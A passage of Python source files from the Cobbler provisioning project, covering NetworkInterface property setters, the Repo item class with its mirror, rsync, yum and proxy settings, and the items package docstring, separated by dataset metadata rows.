isinstance(intf_type, (enums.NetworkInterfaceType, int, str)): # type: ignore raise TypeError( "interface intf_type type must be of int, str or enums.NetworkInterfaceType" ) if isinstance(intf_type, int): try: intf_type = enums.NetworkInterfaceType(intf_type) except ValueError as value_error: raise ValueError( f'intf_type with number "{intf_type}" was not a valid interface type!' ) from value_error elif isinstance(intf_type, str): try: intf_type = enums.NetworkInterfaceType[intf_type.upper()] except KeyError as key_error: raise ValueError( f"intf_type choices include: {list(map(str, enums.NetworkInterfaceType))}" ) from key_error # Now it must be of the enum type if intf_type not in enums.NetworkInterfaceType: raise ValueError( "interface intf_type value must be one of:" f"{','.join(list(map(str, enums.NetworkInterfaceType)))} or blank" ) self._interface_type = intf_type @property def interface_master(self) -> str: """ interface_master property. :getter: Returns the value for ``interface_master``. :setter: Sets the value for the property ``interface_master``. """ return self._interface_master @interface_master.setter def interface_master(self, interface_master: str): """ Setter for the interface_master of the NetworkInterface class. :param interface_master: The new interface master. """ if not isinstance(interface_master, str): # type: ignore raise TypeError( "Field interface_master of object NetworkInterface needs to be of type str!" ) self._interface_master = interface_master @property def bonding_opts(self) -> str: """ bonding_opts property. :getter: Returns the value for ``bonding_opts``. :setter: Sets the value for the property ``bonding_opts``. """ return self._bonding_opts @bonding_opts.setter def bonding_opts(self, bonding_opts: str): """ Setter for the bonding_opts of the NetworkInterface class. :param bonding_opts: The new bonding options for the interface. """ if not isinstance(bonding_opts, str): # type: ignore raise TypeError( "Field bonding_opts of object NetworkInterface needs to be of type str!" ) self._bonding_opts = bonding_opts @property def bridge_opts(self) -> str: """ bridge_opts property. :getter: Returns the value for ``bridge_opts``. :setter: Sets the value for the property ``bridge_opts``. """ return self._bridge_opts @bridge_opts.setter def bridge_opts(self, bridge_opts: str): """ Setter for the bridge_opts of the NetworkInterface class. :param bridge_opts: The new bridge options to set for the interface. """ if not isinstance(bridge_opts, str): # type: ignore raise TypeError( "Field bridge_opts of object NetworkInterface needs to be of type str!" ) self._bridge_opts = bridge_opts @property def ipv6_address(self) -> str: """ ipv6_address property. :getter: Returns the value for ``ipv6_address``. :setter: Sets the value for the property ``ipv6_address``. """ return self._ipv6_address @ipv6_address.setter def ipv6_address(self, address: str): """ Set IPv6 address on interface. :param address: IP address :raises ValueError: IN case the IP is duplicated """ if self._ipv6_address == address: return address = validate.ipv6_address(address) if address != "" and not self.__api.settings().allow_duplicate_ips: matched = self.__api.find_system(return_list=True, ipv6_address=address) if matched is None: matched = [] if not isinstance(matched, list): raise ValueError( "Unexpected search result during ip deduplication search!" ) for match in matched: if self in match.interfaces.values(): continue raise ValueError( f'IPv6 address duplicate found "{address}". Object with the conflict has the name' f'"{match.name}"' ) self.__api.systems().update_interface_index_value( self, "ipv6_address", self._ipv6_address, address ) self._ipv6_address = address @property def ipv6_prefix(self) -> str: """ ipv6_prefix property. :getter: Returns the value for ``ipv6_prefix``. :setter: Sets the value for the property ``ipv6_prefix``. """ return self._ipv6_address @ipv6_prefix.setter def ipv6_prefix(self, prefix: str): """ Assign a IPv6 prefix :param prefix: The new IPv6 prefix for the interface. """ if not isinstance(prefix, str): # type: ignore raise TypeError( "Field ipv6_prefix of object NetworkInterface needs to be of type str!" ) self._ipv6_prefix = prefix.strip() @property def ipv6_secondaries(self) -> List[str]: """ ipv6_secondaries property. :getter: Returns the value for ``ipv6_secondaries``. :setter: Sets the value for the property ``ipv6_secondaries``. """ return self._ipv6_secondaries @ipv6_secondaries.setter def ipv6_secondaries(self, addresses: List[str]): """ Setter for the ipv6_secondaries of the NetworkInterface class. :param addresses: The new secondaries for the interface. """ data = self.__api.input_string_or_list(addresses) secondaries: List[str] = [] for address in data: if address == "" or utils.is_ip(address): secondaries.append(address) else: raise AddressValueError( f"invalid format for IPv6 IP address ({address})" ) self._ipv6_secondaries = secondaries @property def ipv6_default_gateway(self) -> str: """ ipv6_default_gateway property. :getter: Returns the value for ``ipv6_default_gateway``. :setter: Sets the value for the property ``ipv6_default_gateway``. """ return self._ipv6_default_gateway @ipv6_default_gateway.setter def ipv6_default_gateway(self, address: str): """ Setter for the ipv6_default_gateway of the NetworkInterface class. :param address: The new default gateway for the interface. """ if not isinstance(address, str): # type: ignore raise TypeError( "Field ipv6_default_gateway of object NetworkInterface needs to be of type str!" ) if address == "" or utils.is_ip(address): self._ipv6_default_gateway = address.strip() return raise AddressValueError(f"invalid format of IPv6 IP address ({address})") @property def ipv6_static_routes(self) -> List[str]: """ ipv6_static_routes property. :getter: Returns the value for ``ipv6_static_routes``. :setter: Sets the value for the property `ipv6_static_routes``. """ return self._ipv6_static_routes @ipv6_static_routes.setter def ipv6_static_routes(self, routes: List[str]): """ Setter for the ipv6_static_routes of the NetworkInterface class. :param routes: The new static routes for the interface. """ self._ipv6_static_routes = self.__api.input_string_or_list_no_inherit(routes) @property def ipv6_mtu(self) -> str: """ ipv6_mtu property. :getter: Returns the value for ``ipv6_mtu``. :setter: Sets the value for the property ``ipv6_mtu``. """ return self._ipv6_mtu @ipv6_mtu.setter def ipv6_mtu(self, mtu: str): """ Setter for the ipv6_mtu of the NetworkInterface class. :param mtu: The new IPv6 MTU for the interface. """ if not isinstance(mtu, str): # type: ignore raise TypeError( "Field ipv6_mtu of object NetworkInterface needs to be of type str!" ) self._ipv6_mtu = mtu @property def mtu(self) -> str: """ mtu property. :getter: Returns the value for ``mtu``. :setter: Sets the value for the property ``mtu``. """ return self._mtu @mtu.setter def mtu(self, mtu: str): """ Setter for the mtu of the NetworkInterface class. :param mtu: The new value for the mtu of the interface """ if not isinstance(mtu, str): # type: ignore raise TypeError( "Field mtu of object NetworkInterface needs to be type str!" ) self._mtu = mtu @property def connected_mode(self) -> bool: """ connected_mode property. :getter: Returns the value for ``connected_mode``. :setter: Sets the value for the property ``connected_mode``. """ return self._connected_mode @connected_mode.setter def connected_mode(self, truthiness: bool): """ Setter for the connected_mode of the NetworkInterface class. :param truthiness: The new value for connected mode of the interface. """ try: truthiness = self.__api.input_boolean(truthiness) except TypeError as error: raise TypeError( "Field connected_mode of object NetworkInterface needs to be of type bool!" ) from error self._connected_mode = truthiness @property def system_name(self) -> str: """ system_name property. :getter: Returns the value for ``system_name``. :setter: Sets the value for the property ``system_name``. """ return self.__system_name @system_name.setter def system_name(self, system_name: str): """ Setter for the system_name of the NetworkInterface class. :param system_name: The new system_name. """ self.__system_name = system_name def modify_interface(self, _dict: Dict[str, Any]): """ Modify the interface :param _dict: The dict with the parameter. """ for key, value in list(_dict.items()): (field, _) = key.split("-", 1) field = field.replace("_", "").replace("-", "") if field == "bondingopts": self.bonding_opts = value if field == "bridgeopts": self.bridge_opts = value if field == "connectedmode": self.connected_mode = value if field == "cnames": self.cnames = value if field == "dhcptag": self.dhcp_tag = value if field == "dnsname": self.dns_name = value if field == "ifgateway": self.if_gateway = value if field == "interfacetype": self.interface_type = value if field == "interfacemaster": self.interface_master = value if field == "ipaddress": self.ip_address = value if field == "ipv6address": self.ipv6_address = value if field == "ipv6defaultgateway": self.ipv6_default_gateway = value if field == "ipv6mtu": self.ipv6_mtu = value if field == "ipv6prefix": self.ipv6_prefix = value if field == "ipv6secondaries": self.ipv6_secondaries = value if field == "ipv6staticroutes": self.ipv6_static_routes = value if field == "macaddress": self.mac_address = value if field == "management": self.management = value if field == "mtu": self.mtu = value if field == "netmask": self.netmask = value if field == "static": self.static = value if field == "staticroutes": self.static_routes = value if field == "virtbridge": self.virt_bridge = value
29,980
Python
.py
783
28.37037
120
0.576985
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,098
repo.py
cobbler_cobbler/cobbler/items/repo.py
""" Cobbler module that contains the code for a Cobbler repo object. Changelog: V3.4.0 (unreleased): * Changed: * Constructor: ``kwargs`` can now be used to seed the item during creation. * ``children``: The property was moved to the base class. * ``from_dict()``: The method was moved to the base class. V3.3.4 (unreleased): * No changes V3.3.3: * No changes V3.3.2: * No changes V3.3.1: * No changes V3.3.0: * This release switched from pure attributes to properties (getters/setters). * Added: * os_version: str * ``from_dict()`` * Moved to base class (Item): * ``ctime``: float * ``depth``: float * ``mtime``: float * ``parent``: str * ``uid``: str * ``comment``: str * ``name``: str * ``owners``: Union[list, SETTINGS:default_ownership] * Changes: * ``breed``: str -> enums.RepoBreeds * ``arch``: str -> enums.RepoArchs * ``rsyncopts``: dict/str? -> dict * ``mirror_type``: str -> enums.MirrorType * ``apt_components``: list/str? -> list * ``apt_dists``: list/str? -> list * ``createrepo_flags``: Union[dict, inherit] -> enums.VALUE_INHERITED * ``proxy``: Union[str, inherit] -> enums.VALUE_INHERITED V3.2.2: * No changes V3.2.1: * Added: * ``mirror_type``: str * ``set_mirror_type()`` V3.2.0: * Added: * ``rsyncopts``: dict/str * ``set_rsyncopts()`` V3.1.2: * No changes V3.1.1: * No changes V3.1.0: * Changed: * ``arch``: New valid value ``s390x`` as an architecture. V3.0.1: * File was moved from ``cobbler/item_repo.py`` to ``cobbler/items/repo.py``. V3.0.0: * Changes: * ``proxy``: Union[str, inherit, SETTINGS:proxy_url_ext] -> Union[str, inherit] V2.8.5: * Inital tracking of changes for the changelog. * Added: * ``ctime``: float * ``depth``: float * ``mtime``: float * ``parent``: str * ``uid``: str * ``apt_components``: list/str? * ``apt_dists``: list/str? * ``arch``: str * ``breed``: str * ``comment``: str * ``createrepo_flags``: Union[dict, inherit] * ``environment``: dict * ``keep_updated``: bool * ``mirror``: str * ``mirror_locally``: bool * ``name``: str * ``owners``: Union[list, SETTINGS:default_ownership] * ``priority``: int * ``proxy``: Union[str, inherit, SETTINGS:proxy_url_ext] * ``rpm_list``: list * ``yumopts``: dict """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import copy from typing import TYPE_CHECKING, Any, Dict, List, Union from cobbler import enums from cobbler.cexceptions import CX from cobbler.decorator import InheritableProperty, LazyProperty from cobbler.items.abstract.bootable_item import BootableItem from cobbler.utils import input_converters if TYPE_CHECKING: from cobbler.api import CobblerAPI class Repo(BootableItem): """ A Cobbler repo object. """ TYPE_NAME = "repo" COLLECTION_TYPE = "repo" def __init__(self, api: "CobblerAPI", *args: Any, **kwargs: Any) -> None: """ Constructor :param api: The Cobbler API object which is used for resolving information. """ super().__init__(api) # Prevent attempts to clear the to_dict cache before the object is initialized. self._has_initialized = False self._breed = enums.RepoBreeds.NONE self._arch = enums.RepoArchs.NONE self._environment: Dict[Any, Any] = {} self._yumopts: Dict[str, str] = {} self._rsyncopts: Dict[str, Any] = {} self._mirror_type = enums.MirrorType.BASEURL self._apt_components: List[str] = [] self._apt_dists: List[str] = [] self._createrepo_flags = enums.VALUE_INHERITED self._keep_updated = False self._mirror = "" self._mirror_locally = False self._priority = 0 self._proxy = enums.VALUE_INHERITED self._rpm_list: List[str] = [] self._os_version = "" if len(kwargs) > 0: self.from_dict(kwargs) if not self._has_initialized: self._has_initialized = True # # override some base class methods first (BootableItem) # def make_clone(self) -> "Repo": """ Clone this file object. Please manually adjust all value yourself to make the cloned object unique. :return: The cloned instance of this object. """ _dict = copy.deepcopy(self.to_dict()) _dict.pop("uid", None) return Repo(self.api, **_dict) def check_if_valid(self) -> None: """ Checks if the object is valid. Currently checks for name and mirror to be present. :raises CX: In case the name or mirror is missing. """ super().check_if_valid() if not self.inmemory: return if self.mirror is None: # type: ignore[reportUnnecessaryComparison] raise CX(f"Error with repo {self.name} - mirror is required") # # specific methods for item.Repo # def _guess_breed(self) -> None: """ Guess the breed of a mirror. """ # backwards compatibility if not self.breed: if ( self.mirror.startswith("http://") or self.mirror.startswith("https://") or self.mirror.startswith("ftp://") ): self.breed = enums.RepoBreeds.YUM elif self.mirror.startswith("rhn://"): self.breed = enums.RepoBreeds.RHN else: self.breed = enums.RepoBreeds.RSYNC @LazyProperty def mirror(self) -> str: r""" A repo is (initially, as in right now) is something that can be rsynced. reposync/repotrack integration over HTTP might come later. :getter: The mirror uri. :setter: May raise a ``TypeError`` in case we run into """ return self._mirror @mirror.setter def mirror(self, mirror: str) -> None: r""" Setter for the mirror property. :param mirror: The mirror URI. :raises TypeError: In case mirror is not of type ``str``. """ if not isinstance(mirror, str): # type: ignore raise TypeError("Field mirror of object repo needs to be of type str!") self._mirror = mirror if not self.arch: if mirror.find("x86_64") != -1: self.arch = enums.RepoArchs.X86_64 elif mirror.find("x86") != -1 or mirror.find("i386") != -1: self.arch = enums.RepoArchs.I386 self._guess_breed() @LazyProperty def mirror_type(self) -> enums.MirrorType: r""" Override the mirror_type used for reposync :getter: The mirror type. Is one of the predefined ones. :setter: Hand over a str or enum type value to this. May raise ``TypeError`` or ``ValueError`` in case there are conversion or type problems. """ return self._mirror_type @mirror_type.setter def mirror_type(self, mirror_type: Union[str, enums.MirrorType]) -> None: r""" Setter for the ``mirror_type`` property. :param mirror_type: The new mirror_type which will be used. :raises TypeError: In case the value was not of the enum type. :raises ValueError: In case the conversion from str to enum type was not possible. """ # Convert an mirror_type which came in as a string if isinstance(mirror_type, str): try: mirror_type = enums.MirrorType[mirror_type.upper()] except KeyError as error: raise ValueError( f"mirror_type choices include: {list(map(str, enums.MirrorType))}" ) from error # Now the mirror_type MUST be of the type of enums. if not isinstance(mirror_type, enums.MirrorType): # type: ignore raise TypeError("mirror_type needs to be of type enums.MirrorType") self._mirror_type = mirror_type @LazyProperty def keep_updated(self) -> bool: r""" This allows the user to disable updates to a particular repo for whatever reason. :getter: True in case the repo is updated automatically and False otherwise. :setter: Is auto-converted to a bool via multiple types. Raises a ``TypeError`` if this was not possible. """ return self._keep_updated @keep_updated.setter def keep_updated(self, keep_updated: bool) -> None: """ Setter for the keep_updated property. :param keep_updated: This may be a bool-like value if the repository shall be kept up to date or not. :raises TypeError: In case the conversion to a bool was unsuccessful. """ keep_updated = input_converters.input_boolean(keep_updated) if not isinstance(keep_updated, bool): # type: ignore raise TypeError( "Field keep_updated of object repo needs to be of type bool!" ) self._keep_updated = keep_updated @LazyProperty def yumopts(self) -> Dict[Any, Any]: r""" Options for the yum tool. Should be presented in the same way as the ``kernel_options``. :getter: The dict with the parsed options. :setter: Either the dict or a str which is then parsed. If parsing is unsuccessful then a ValueError is raised. """ return self._yumopts @yumopts.setter def yumopts(self, options: Union[str, Dict[Any, Any]]) -> None: """ Kernel options are a space delimited list. :param options: Something like ``a=b c=d e=f g h i=j`` or a dictionary. :raises ValueError: In case the presented data could not be parsed into a dictionary. """ try: self._yumopts = input_converters.input_string_or_dict_no_inherit( options, allow_multiples=False ) except TypeError as error: raise TypeError("invalid yum options") from error @LazyProperty def rsyncopts(self) -> Dict[Any, Any]: r""" Options for ``rsync`` when being used for repo management. :getter: The options to apply to the generated ones. :setter: A str or dict to replace the old options with. If the str can't be parsed we throw a ``ValueError``. """ return self._rsyncopts @rsyncopts.setter def rsyncopts(self, options: Union[str, Dict[Any, Any]]) -> None: """ Setter for the ``rsyncopts`` property. :param options: Something like '-a -S -H -v' :raises ValueError: In case the options provided can't be parsed. """ try: self._rsyncopts = input_converters.input_string_or_dict_no_inherit( options, allow_multiples=False ) except TypeError as error: raise TypeError("invalid rsync options") from error @LazyProperty def environment(self) -> Dict[Any, Any]: """ Yum can take options from the environment. This puts them there before each reposync. :getter: The options to be attached to the environment. :setter: May raise a ``ValueError`` in case the data provided is not parsable. """ return self._environment @environment.setter def environment(self, options: Union[str, Dict[Any, Any]]) -> None: r""" Setter for the ``environment`` property. :param options: These are environment variables which are set before each reposync. :raises ValueError: In case the variables provided could not be parsed. """ try: self._environment = input_converters.input_string_or_dict_no_inherit( options, allow_multiples=False ) except TypeError as error: raise TypeError("invalid environment") from error @LazyProperty def priority(self) -> int: """ Set the priority of the repository. Only works if host is using priorities plugin for yum. :getter: The priority of the repo. :setter: A number between 1 & 99. May raise otherwise ``TypeError`` or ``ValueError``. """ return self._priority @priority.setter def priority(self, priority: int) -> None: r""" Setter for the ``priority`` property. :param priority: Must be a value between 1 and 99. 1 is the highest whereas 99 is the default and lowest. :raises TypeError: Raised in case the value is not of type ``int``. :raises ValueError: In case the priority is not between 1 and 99. """ try: converted_value = input_converters.input_int(priority) except TypeError as type_error: raise TypeError("Repository priority must be of type int.") from type_error if converted_value < 0 or converted_value > 99: raise ValueError( "Repository priority must be between 1 and 99 (inclusive)!" ) self._priority = converted_value @LazyProperty def rpm_list(self) -> List[str]: """ Rather than mirroring the entire contents of a repository (Fedora Extras, for instance, contains games, and we probably don't want those), make it possible to list the packages one wants out of those repos, so only those packages and deps can be mirrored. :getter: The list of packages to be mirrored. :setter: May be a space delimited list or a real one. """ return self._rpm_list @rpm_list.setter def rpm_list(self, rpms: Union[str, List[str]]) -> None: """ Setter for the ``rpm_list`` property. :param rpms: The rpm to mirror. This may be a string or list. """ self._rpm_list = input_converters.input_string_or_list_no_inherit(rpms) @InheritableProperty def createrepo_flags(self) -> str: r""" Flags passed to createrepo when it is called. Common flags to use would be ``-c cache`` or ``-g comps.xml`` to generate group information. .. note:: This property can be set to ``<<inherit>>``. :getter: The createrepo_flags to apply to the repo. :setter: The new flags. May raise a ``TypeError`` in case the options are not a ``str``. """ return self._resolve("createrepo_flags") @createrepo_flags.setter # type: ignore[no-redef] def createrepo_flags(self, createrepo_flags: str): """ Setter for the ``createrepo_flags`` property. :param createrepo_flags: The createrepo flags which are passed additionally to the default ones. :raises TypeError: In case the flags were not of the correct type. """ if not isinstance(createrepo_flags, str): # type: ignore raise TypeError( "Field createrepo_flags of object repo needs to be of type str!" ) self._createrepo_flags = createrepo_flags @LazyProperty def breed(self) -> enums.RepoBreeds: """ The repository system breed. This decides some defaults for most actions with a repo in Cobbler. :getter: The breed detected. :setter: May raise a ``ValueError`` or ``TypeError`` in case the given value is wrong. """ return self._breed @breed.setter def breed(self, breed: Union[str, enums.RepoBreeds]) -> None: """ Setter for the repository system breed. :param breed: The new breed to set. If this argument evaluates to false then nothing will be done. :raises TypeError: In case the value was not of the corresponding enum type. :raises ValueError: In case a ``str`` with could not be converted to a valid breed. """ self._breed = enums.RepoBreeds.to_enum(breed) @LazyProperty def os_version(self) -> str: r""" The operating system version which is compatible with this repository. :getter: The os version. :setter: The version as a ``str``. """ return self._os_version @os_version.setter def os_version(self, os_version: str) -> None: r""" Setter for the operating system version. :param os_version: The new operating system version. If this argument evaluates to false then nothing will be done. :raises CX: In case ``breed`` has not been set before. """ if not os_version: self._os_version = "" return self._os_version = os_version.lower() if not self.breed: raise CX("cannot set --os-version without setting --breed first") if self.breed not in enums.RepoBreeds: raise CX("fix --breed first before applying this setting") self._os_version = os_version return @LazyProperty def arch(self) -> enums.RepoArchs: r""" Override the arch used for reposync :getter: The repo arch enum object. :setter: May throw a ``ValueError`` or ``TypeError`` in case the conversion of the value is unsuccessful. """ return self._arch @arch.setter def arch(self, arch: Union[str, enums.RepoArchs]) -> None: r""" Override the arch used for reposync :param arch: The new arch which will be used. :raises TypeError: In case the wrong type is given. :raises ValueError: In case the value could not be converted from ``str`` to the enum type. """ # Convert an arch which came in as an enums.Archs if isinstance(arch, enums.Archs): try: arch = enums.RepoArchs[arch.name.upper()] except KeyError as error: raise ValueError( f"arch choices include: {list(map(str, enums.RepoArchs))}" ) from error self._arch = enums.RepoArchs.to_enum(arch) @LazyProperty def mirror_locally(self) -> bool: r""" If this property is set to ``True`` then all content of the source is mirrored locally. This may take up a lot of disk space. :getter: Whether the mirror is locally available or not. :setter: Raises a ``TypeError`` in case after the conversion of the value is not of type ``bool``. """ return self._mirror_locally @mirror_locally.setter def mirror_locally(self, value: bool) -> None: """ Setter for the local mirror property. :param value: The new value for ``mirror_locally``. :raises TypeError: In case the value is not of type ``bool``. """ value = input_converters.input_boolean(value) if not isinstance(value, bool): # type: ignore raise TypeError("mirror_locally needs to be of type bool") self._mirror_locally = value @LazyProperty def apt_components(self) -> List[str]: """ Specify the section of Debian to mirror. Defaults to "main,contrib,non-free,main/debian-installer". :getter: If empty the default is used. :setter: May be a comma delimited ``str`` or a real ``list``. """ return self._apt_components @apt_components.setter def apt_components(self, value: Union[str, List[str]]) -> None: """ Setter for the apt command property. :param value: The new value for ``apt_components``. """ self._apt_components = input_converters.input_string_or_list_no_inherit(value) @LazyProperty def apt_dists(self) -> List[str]: r""" This decides which installer images are downloaded. For more information please see: https://www.debian.org/CD/mirroring/index.html or the manpage of ``debmirror``. :getter: Per default no images are mirrored. :setter: Either a comma delimited ``str`` or a real ``list``. """ return self._apt_dists @apt_dists.setter def apt_dists(self, value: Union[str, List[str]]) -> None: """ Setter for the apt dists. :param value: The new value for ``apt_dists``. """ self._apt_dists = input_converters.input_string_or_list_no_inherit(value) @InheritableProperty def proxy(self) -> str: """ Override the default external proxy which is used for accessing the internet. .. note:: This property can be set to ``<<inherit>>``. :getter: Returns the default one or the specific one for this repository. :setter: May raise a ``TypeError`` in case the wrong value is given. """ return self._resolve("proxy_url_ext") @proxy.setter # type: ignore[no-redef] def proxy(self, value: str): r""" Setter for the proxy setting of the repository. :param value: The new proxy which will be used for the repository. :raises TypeError: In case the new value is not of type ``str``. """ if not isinstance(value, str): # type: ignore raise TypeError("Field proxy in object repo needs to be of type str!") self._proxy = value
21,537
Python
.py
512
33.433594
120
0.612809
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,099
__init__.py
cobbler_cobbler/cobbler/items/__init__.py
""" This package contains all data storage classes. The classes are responsible for ensuring that types of the properties are correct but not for logical checks. The classes should be as stupid as possible. Further they are responsible for returning the logic for serializing and deserializing themselves. Cobbler has a concept of inheritance where an attribute/a property may have the value ``<<inherit>>``. This then takes over the value of the parent item with the exception of dictionaries. Values that are of type ``dict`` are always implicitly inherited, to remove a key-value pair from the dictionary in the inheritance chain prefix the key with ``!``. """
665
Python
.py
8
82
120
0.801829
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)